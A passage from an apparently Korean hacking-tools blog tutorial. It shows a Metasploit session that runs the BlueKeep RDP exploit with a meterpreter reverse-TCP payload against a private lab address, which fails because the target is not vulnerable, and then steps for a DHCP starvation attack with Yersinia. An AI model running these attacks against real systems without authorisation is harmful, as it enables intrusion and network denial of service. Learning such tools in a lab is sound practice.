   0   auxiliary/scanner/http/ms15_034_http_sys_memory_dump                   normal  Yes    MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure
   1   auxiliary/scanner/rdp/rdp_scanner                                      normal  No     Identify endpoints speaking the Remote Desktop Protocol (RDP)
   2   post/windows/gather/credentials/mremote                                normal  No     Windows Gather mRemote Saved Password Extraction
   3   post/windows/manage/enable_rdp                                         normal  No     Windows Manage Enable Remote Desktop
   4   exploit/windows/fileformat/cain_abel_4918_rdp         2008-11-30       good    No     Cain and Abel RDP Buffer Overflow
   5   exploit/windows/fileformat/adobe_flashplayer_button   2010-10-28       normal  No     Adobe Flash Player "Button" Remote Code Execution
   6   exploit/windows/fileformat/wireshark_packet_dect      2011-04-18       good    No     Wireshark packet-dect.c Stack Buffer Overflow (local)
   7   auxiliary/dos/windows/rdp/ms12_020_maxchannelids      2012-03-16       normal  No     MS12-020 Microsoft Remote Desktop Use-After-Free DoS
   8   exploit/windows/http/sws_connection_bof               2012-07-20       normal  Yes    Simple Web Server Connection Header Buffer Overflow
   9   exploit/multi/script/web_delivery                     2013-07-19       manual  No     Script Web Delivery
   10  exploit/multi/vnc/vnc_keyboard_exec                   2015-07-10       great   No     VNC Keyboard Remote Code Execution
   11  exploit/windows/rdp/rdp_doublepulsar_rce              2017-04-14       great   Yes    RDP DOUBLEPULSAR Remote Code Execution
   12  exploit/windows/rdp/cve_2019_0708_bluekeep_rce        2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free


Interact with a module by name or index. For example info 12, use 12 or use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

msf6 > 

msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 10.1.4.50
rhosts => 10.1.4.50

msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Started reverse TCP handler on 10.1.4.51:4444
[*] 10.1.4.50:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.1.4.50:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[*] 10.1.4.50:3389        - Scanned 1 of 1 hosts (100% complete)
[-] 10.1.4.50:3389 - Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The target service is not running or refused our connection. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >

msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exit

$

 

터미널에서 CLI를 수행하는 것치고는 출력물이 예쁘게 나온다. (아래 화면 캡처를 참고)

 

 

yersinia 해킹 도구를 이용하여 DHCP 자원을 고갈시키기

$ sudo -s

$ apt install yersinia

##
## Graphic User Interface Mode로 실행
##

$ yersinia -G

위 명령을 실행하면, 아래와 같이 Yersinia GUI를 볼 수 있다.

기본으로 모든 Protocol이 선택되어 있는데, 다 해제하고 DHCP만 선택하여 테스트한다.

Yersinia GUI 화면

 

+ Recent posts